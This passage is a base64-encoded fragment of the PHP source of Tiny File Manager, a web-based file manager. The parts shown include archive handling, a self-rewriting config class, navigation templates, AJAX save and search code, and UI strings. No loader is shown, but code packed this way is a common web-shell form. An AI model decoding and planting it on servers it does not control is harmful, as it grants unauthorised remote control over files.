oIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT50YXItPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKLyoqCiAqIFNhdmUgQ29uZmlndXJhdGlvbgogKi8KIGNsYXNzIEZNX0NvbmZpZwp7CiAgICAgdmFyICRkYXRhOwoKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICBnbG9iYWwgJHJvb3RfcGF0aCwgJHJvb3RfdXJsLCAkQ09ORklHOwogICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwuJF9TRVJWRVJbIlBIUF9TRUxGIl07CiAgICAgICAgJHRoaXMtPmRhdGEgPSBhcnJheSgKICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsCiAgICAgICAgICAgICdlcnJvcl9yZXBvcnRpbmcnID0+IHRydWUsCiAgICAgICAgICAgICdzaG93X2hpZGRlbicgPT4gdHJ1ZQogICAgICAgICk7CiAgICAgICAgJGRhdGEgPSBmYWxzZTsKICAgICAgICBpZiAoc3RybGVuKCRDT05GSUcpKSB7CiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJ1RpbnkgRmlsZSBNYW5hZ2VyPGJyPkVycm9yOiBDYW5ub3QgbG9hZCBjb25maWd1cmF0aW9uJzsKICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJy8nKSB7CiAgICAgICAgICAgICAgICAkZm1fdXJsID0gcnRyaW0oJGZtX3VybCwgJy8nKTsKICAgICAgICAgICAgICAgICRtc2cgLj0gJzxicj4nOwogICAgICAgICAgICAgICAgJG1zZyAuPSAnPGJyPlNlZW1zIGxpa2UgeW91IGhhdmUgYSB0cmFpbGluZyBzbGFzaCBvbiB0aGUgVVJMLic7CiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj0iJyAuICRmbV91cmwgLiAnIj4nIC4gJGZtX3VybCAuICc8L2E+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBkaWUoJG1zZyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc19hcnJheSgkZGF0YSkgJiYgY291bnQoJGRhdGEpKSAkdGhpcy0+ZGF0YSA9ICRkYXRhOwogICAgICAgIGVsc2UgJHRoaXMtPnNhdmUoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYXZlKCkKICAgIHsKICAgICAgICAkZm1fZmlsZSA9IF9fRklMRV9fOwogICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJzsKICAgICAgICAkdmFyX3ZhbHVlID0gdmFyX2V4cG9ydChqc29uX2VuY29kZSgkdGhpcy0+ZGF0YSksIHRydWUpOwogICAgICAgICRjb25maWdfc3RyaW5nID0gIjw/cGhwIiAuIGNocigxMykgLiBjaHIoMTApIC4gIi8vRGVmYXVsdCBDb25maWd1cmF0aW9uIi5jaHIoMTMpIC4gY2hyKDEwKS4iJHZhcl9uYW1lID0gJHZhcl92YWx1ZTsiIC4gY2hyKDEzKSAuIGNocigxMCk7CiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkgewogICAgICAgICAgICAkbGluZXMgPSBmaWxlKCRmbV9maWxlKTsKICAgICAgICAgICAgaWYgKCRmaCA9IEBmb3BlbigkZm1fZmlsZSwgInciKSkgewogICAgICAgICAgICAgICAgQGZwdXRzKCRmaCwgJGNvbmZpZ19zdHJpbmcsIHN0cmxlbigkY29uZmlnX3N0cmluZykpOwogICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykgewogICAgICAgICAgICAgICAgICAgIEBmcHV0cygkZmgsICRsaW5lc1skeF0sIHN0cmxlbigkbGluZXNbJHhdKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCi8vLS0tIFRlbXBsYXRlcyBGdW5jdGlvbnMgLS0tCgovKioKICogU2hvdyBuYXYgYmxvY2sKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKi8KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkKewogICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlOwogICAgJGlzU3RpY2t5TmF2QmFyID0gJHN0aWNreV9uYXZiYXIgPyAnZml4ZWQtdG9wJyA6ICcnOwogICAgJGdldFRoZW1lID0gZm1fZ2V0X3RoZW1lKCk7CiAgICAkZ2V0VGhlbWUgLj0gIiBuYXZiYXItbGlnaHQiOwogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7CiAgICAgICAgJGdldFRoZW1lIC49ICIgbmF2YmFyLWRhcmsiOwogICAgfSBlbHNlIHsKICAgICAgICAkZ2V0VGhlbWUgLj0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PSAnJykgewogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsKICAgICAgICAgICAgICAgICRjb3VudCA9IGNvdW50KCRleHBsb2RlZCk7CiAgICAgICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudCA9IHRyaW0oJHBhcmVudCAuICcvJyAuICRleHBsb2RlZFskaV0sICcvJyk7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7CiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSAiPGEgaHJlZj0nP3A9eyRwYXJlbnRfZW5jfSc+IiAuIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZXhwbG9kZWRbJGldKSkgLiAiPC9hPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wteHMtNiBjb2wtc20tNSI+JyAuICRyb290X3VybCAuICRlZGl0RmlsZSAuICc8L2Rpdj4nOwogICAgICAgICAgICA/PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTYgY29sLXNtLTciPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IGp1c3RpZnktY29udGVudC1lbmQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgID8+Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIG1yLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC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rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MSI+PGkgY2xhc3M9ImZhIGZhLWNvZyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7aGVscD0yIj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9sb2dvdXQ9MSI+PGkgY2xhc3M9ImZhIGZhLXNpZ24tb3V0IiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0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AgaWYgKHR5cGVvZiBuICE9PSAndW5kZWZpbmVkJyAmJiBuICE9PSBudWxsKSB7CiAgICAgICAgICAgIGlmICh0cnVlKSB7CiAgICAgICAgICAgICAgICB2YXIgZGF0YSA9IHthamF4OiB0cnVlLCBjb250ZW50OiBuLCB0eXBlOiAnc2F2ZScsIHRva2VuOiB3aW5kb3cuY3NyZn07CgogICAgICAgICAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgdXJsOiB3aW5kb3cubG9jYXRpb24sCiAgICAgICAgICAgICAgICAgICAgZGF0YTogSlNPTi5zdHJpbmdpZnkoZGF0YSksCiAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGU6ICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IiwKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihtZXMpe3RvYXN0KCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsgd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24oKSB7cmV0dXJufX0sCiAgICAgICAgICAgICAgICAgICAgZmFpbHVyZTogZnVuY3Rpb24obWVzKSB7dG9hc3QoIkVycm9yOiB0cnkgYWdhaW4iKTt9LAogICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbihtZXMpIHt0b2FzdChgPHAgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6cmVkIj4ke21lcy5yZXNwb25zZVRleHR9PC9wPmApO30KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7CiAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgibWV0aG9kIiwgIlBPU1QiKSwgYS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsICIiKTsKICAgICAgICAgICA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YXJjaFR4dCwgcGF0aDpwYXRoLCB0eXBlOiAnc2VhcmNoJywgdG9rZW46IHdpbmRvdy5jc3JmIH07CiAgICAgICAgICAgICQuYWpheCh7CiAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsCiAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbiwKICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsCiAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpOwogICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKXsKICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgaWYoZGF0YSAmJiBkYXRhLmxlbmd0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBfaHRtbCA9IHNlYXJjaF90ZW1wbGF0ZShkYXRhKTsKICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKF9odG1sKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPk5vIHJlc3VsdCBmb3VuZCE8cD4nKTsgfQogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHsgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOyBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC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b3JPcHRpb24gPT0gIndyYXAiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB3cmFwU3RhdHVzID0gKGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VXNlV3JhcE1vZGUoKSkgPyBmYWxzZSA6IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0VXNlV3JhcE1vZGUod3JhcFN0YXR1cyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgic2VsZWN0I2pzLWFjZS1tb2RlLCBzZWxlY3QjanMtYWNlLXRoZW1lLCBzZWxlY3QjanMtYWNlLWZvbnRTaXplIikub24oImNoYW5nZSIsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgbGV0IHNlbGVjdGVkVmFsdWUgPSAkKHRoaXMpLnZhbCgpLCBzZWxlY3Rpb25UeXBlID0gJCh0aGlzKS5hdHRyKCJkYXRhLXR5cGUiKTsKICAgICAgICAgICAgICAgIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAibW9kZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJ0aGVtZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7CiAgICAgICAgICAgICAgICB9ZWxzZSBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gImZvbnRTaXplIikgewogICAgICAgICAgICAgICAgICAgIGVkaXRvci5zZXRGb250U2l6ZShwYXJzZUludChzZWxlY3RlZFZhbHVlKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgPC9zY3JpcHQ+Cjw/cGhwIGVuZGlmOyA/Pgo8ZGl2IGlkPSJzbmFja2JhciI+PC9kaXY+CjwvYm9keT4KPC9odG1sPgo8P3BocAp9CgovKioKICogTGFuZ3VhZ2UgVHJhbnNsYXRpb24gU3lzdGVtCiAqIEBwYXJhbSBzdHJpbmcgJHR4dAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gbG5nKCR0eHQpIHsKICAgIGdsb2JhbCAkbGFuZzsKCiAgICAvLyBFbmdsaXNoIExhbmd1YWdlCiAgICAkdHJbJ2VuJ11bJ0FwcE5hbWUnXSAgICAgICAgPSAnVGlueSBGaWxlIE1hbmFnZXInOyAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICAgICAgPSAnRmlsZSBNYW5hZ2VyJzsKICAgICR0clsnZW4nXVsnTG9naW4nXSAgICAgICAgICA9ICdTaWduIGluJzsgICAgICAgICAgICAgICAgJHRyWydlbiddWydVc2VybmFtZSddICAgICAgICAgICA9ICdVc2VybmFtZSc7CiAgICAkdHJbJ2VuJ11bJ1Bhc3N3b3JkJ10gICAgICAgPSAnUGFzc3dvcmQnOyAgICAgICAgICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICAgICAgPSAnU2lnbiBPdXQnOwogICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NvcHknXSAgICAgICAgICAgICAgID0gJ0NvcHknOwogICAgJHRyWydlbiddWydTYXZlJ10gICAgICAgICAgID0gJ1NhdmUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdEFsbCddICAgICAgICAgID0gJ1NlbGVjdCBhbGwnOwogICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUnXSAgICAgICAgICAgICAgID0gJ0ZpbGUnOwogICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgICAgID0gJ1NpemUnOwogICAgJHRyWydlbiddWydQZXJtcyddICAgICAgICAgID0gJ1Blcm1zJzsgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ01vZGlmaWVkJ10gICAgICAgICAgID0gJ01vZGlmaWVkJzsKICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWFyY2gnXSAgICAgICAgICAgICA9ICdTZWFyY2gnOwogICAgJHRyWydlbiddWydOZXdJdGVtJ10gICAgICAgID0gJ05ldyBJdGVtJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgICAgID0gJ0ZvbGRlcic7CiAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSddICAgICAgICAgPSAnRGVsZXRlJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICAgICAgPSAnUmVuYW1lJzsKICAgICR0clsnZW4nXVsnQ29weVRvJ10gICAgICAgICA9ICdDb3B5IHRvJzsgICAgICAgICAgICAgICAgJHRyWydlbiddWydEaXJlY3RMaW5rJ10gICAgICAgICA9ICdEaXJlY3QgbGluayc7CiAgICAkdHJbJ2VuJ11bJ1VwbG9hZGluZ0ZpbGVzJ10gPSAnVXBsb2FkIEZpbGVzJzsgICAgICAgICAgICR0clsnZW4nXVsnQ2hhbmdlUGVybWlzc2lvbnMnXSAgPSAnQ2hhbmdlIFBlcm1pc3Npb25zJzsKICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJzsgICAgICAgICAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gICAgICA9ICdDcmVhdGUgTmV3IEl0ZW0nOwogICAgJHRyWydlbiddWydOYW1lJ10gICAgICAgICAgID0gJ05hbWUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkRWRpdG9yJ10gICAgID0gJ0FkdmFuY2VkIEVkaXRvcic7CiAgICAkdHJbJ2VuJ11bJ0FjdGlvbnMnXSAgICAgICAgPSAnQWN0aW9ucyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnRm9sZGVyIGlzIGVtcHR5J10gICAgPSAnRm9sZGVyIGlzIGVtcHR5JzsKICAgICR0clsnZW4nXVsnVXBsb2FkJ10gICAgICAgICA9ICdVcGxvYWQnOyAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgICAgICA9ICdDYW5jZWwnOwogICAgJHRyWydlbiddWydJbnZlcnRTZWxlY3Rpb24nXT0gJ0ludmVydCBTZWxlY3Rpb24nOyAgICAgICAkdHJbJ2VuJ11bJ0Rlc3RpbmF0aW9uRm9sZGVyJ10gID0gJ0Rlc3RpbmF0aW9uIEZvbGRlcic7CiAgICAkdHJbJ2VuJ11bJ0l0ZW1UeXBlJ10gICAgICAgPSAnSXRlbSBUeXBlJzsgICAgICAgICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICAgICAgPSAnSXRlbSBOYW1lJzsKICAgICR0clsnZW4nXVsnQ3JlYXRlTm93J10gICAgICA9ICdDcmVhdGUgTm93JzsgICAgICAgICAgICAgJHRyWydlbiddWydEb3dubG9hZCddICAgICAgICAgICA9ICdEb3dubG9hZCc7CiAgICAkdHJbJ2VuJ11bJ09wZW4nXSAgICAgICAgICAgPSAnT3Blbic7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVW5aaXAnXSAgICAgICAgICAgICAgPSAnVW5aaXAnOwogICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7ICAgICAgICAkdHJbJ2VuJ11bJ0VkaXQnXSAgICAgICAgICAgICAgID0gJ0VkaXQnOwogICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InOyAgICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgICAgID0gJ0JhY2sgVXAnOwogICAgJHRyWydlbiddWydTb3VyY2VGb2xkZXInXSAgID0gJ1NvdXJjZSBGb2xkZXInOyAgICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGVzJ10gICAgICAgICAgICAgID0gJ0ZpbGVzJzsKICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDaGFuZ2UnXSAgICAgICAgICAgICA9ICdDaGFuZ2UnOwogICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0xhbmd1YWdlJ10gICAgICAgICAgID0gJ0xhbmd1YWdlJzsgICAgICAgIAogICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7ICAgICAgICAkdHJbJ2VuJ11bJ1Nob3dIaWRkZW5GaWxlcyddICAgID0gJ1Nob3cgSGlkZGVuIEZpbGVzJzsKICAgICR0clsnZW4nXVsnSGVscCddICAgICAgICAgICA9ICdIZWxwJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDcmVhdGVkJ10gICAgICAgICAgICA9ICdDcmVhdGVkJzsKICAgICR0clsnZW4nXVsnSGVscCBEb2N1bWVudHMnXSA9ICdIZWxwIERvY3VtZW50cyc7ICAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgICAgICA9ICdSZXBvcnQgSXNzdWUnOwogICAgJ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